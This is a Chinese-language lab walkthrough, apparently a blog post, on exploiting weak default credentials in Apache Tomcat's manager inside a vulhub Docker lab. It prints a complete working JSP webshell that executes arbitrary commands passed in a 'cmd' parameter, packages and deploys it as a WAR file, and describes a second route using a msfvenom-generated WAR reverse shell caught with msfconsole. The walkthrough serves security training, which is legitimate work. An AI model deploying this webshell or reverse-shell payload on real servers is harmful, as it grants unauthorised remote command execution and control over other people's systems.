Tomcat弱口令漏洞
漏洞原理:传送门
实验环境
主机 | 角色 | IP |
---|---|---|
centos8 | 漏洞靶机 | 192.168.1.80 |
kali | msf生成木马,接收shell | 192.168.1.128 |
windows10 | 攻击机 | 192.168.1.120 |
实验流程
开启漏洞靶机centos8
# 开启docker服务
service docker start
# 切换到vulhub目录
cd /usr/sbin/vulhub/tomcat/tomcat8
# 创建镜像
docker-compose build
# 开启镜像
docker-compose up -d
尝试访问漏洞页面:
如图所示,访问成功!
进入镜像配置文件查看初始密码:
# 进入镜像
docker exec -it 镜像id /bin/bash
# 切换到配置目录
cd /usr/local/tomcat/conf
# 查看配置文件
cat tomcat-users.xml
如图所示,可以看出tomcat管理页面的用户名和密码都是tomcat,存在明显的弱口令漏洞。
输入用户名和密码,成功登录到tomcat管理页面:
第一种方式上传webshell
准备一个木马文件shell.jsp
内容如下:
<%@
page language="java"
import="java.util.*,java.io.*"
pageEncoding = "UTF-8"
%>
<%!public static String excuteCmd(String c) {
StringBuilder line = new StringBuilder();
try {
Process pro = Runtime.getRuntime().exec(c);
BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));
String temp = null;
while ((temp = buf.readLine()) != null){
line.append(temp+"\\n");
}
buf.close();
} catch (Exception e) {
line.append(e.getMessage());
}
return line.toString();
}
%>
<%
if(!"".equals(request.getParameter("cmd"))){
out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");
}else{
out.println(":-)");
}
%>
在windows10的dos界面下,将shell.jsp打包为shell.war,用于javaweb包的热部署
打包命令为jar cvf shell.war shell.jsp
如下图所示,成功打包为shell.war:
将shell.war包上传到javaweb应用中:
如下图所示,上传并部署成功:
尝试访问木马文件,并传入命令参数:
如图所示,成功回显命令执行结果。
第二种方式msf反弹shell
在kali主机,利用msfvenom工具生成war文件木马:
LHOST=kali的IP
LPORT=kali的端口(任意)
如图所示,生成完毕。
将生成的木马文件下载下来到window主机:
如图所示,下载完毕:
将qianxun.war更改为qianxun.rar,并用压缩工具winrar打开:
如上图所示,在qianxun.war包中还有木马文件vzajtnpod.jsp,记下文件名后,将qianxun.rar重新改回为qianxun.war
将木马文件qianxun.war上传到javaweb应用中:
在kali主机上开启msfconsole监听:
在浏览器中访问该木马文件:
再回到kali,发现shell已被成功反弹:
至此,实验完毕。